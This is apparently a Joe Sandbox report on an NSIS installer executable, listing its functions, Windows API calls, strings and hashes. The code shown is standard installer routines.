Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: 2ab80255bde4e5d1782dd9130ab292fdec73e4a72f9567b243a786bab725b233
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Error launching installer, xrefs: 004035D7
Inst, xrefs: 0040366C
soft, xrefs: 00403675
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 004033ED
P1B, xrefs: 004033A9
X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(006CA518), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(006CA518), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
